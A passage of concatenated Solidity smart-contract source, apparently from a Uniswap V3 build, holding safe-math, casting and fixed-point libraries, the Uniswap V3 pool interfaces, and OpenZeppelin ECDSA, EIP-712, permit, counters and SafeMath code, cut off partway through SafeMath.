/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Safe casting methods
/// @notice Contains methods for safely casting between types
library SafeCast {
/// @notice Cast a uint256 to a uint160, revert on overflow
/// @param y The uint256 to be downcasted
/// @return z The downcasted integer, now type uint160
function toUint160(uint256 y) internal pure returns (uint160 z) {
require((z = uint160(y)) == y);
}
/// @notice Cast a int256 to a int128, revert on overflow or underflow
/// @param y The int256 to be downcasted
/// @return z The downcasted integer, now type int128
function toInt128(int256 y) internal pure returns (int128 z) {
require((z = int128(y)) == y);
}
/// @notice Cast a uint256 to a int256, revert on overflow
/// @param y The uint256 to be casted
/// @return z The casted integer, now type int256
function toInt256(uint256 y) internal pure returns (int256 z) {
require(y < 2**255);
z = int256(y);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math functions that do not check inputs or outputs
/// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks
library UnsafeMath {
/// @notice Returns ceil(x / y)
/// @dev division by 0 has unspecified behavior, and must be checked externally
/// @param x The dividend
/// @param y The divisor
/// @return z The quotient, ceil(x / y)
function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := add(div(x, y), gt(mod(x, y), 0))
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
/// @dev Used in SqrtPriceMath.sol
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../math/SafeMath.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = _getChainId();
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view virtual returns (bytes32) {
if (_getChainId() == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
return keccak256(
abi.encode(
typeHash,
name,
version,
_getChainId(),
address(this)
)
);
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}
function _getChainId() private view returns (uint256 chainId) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
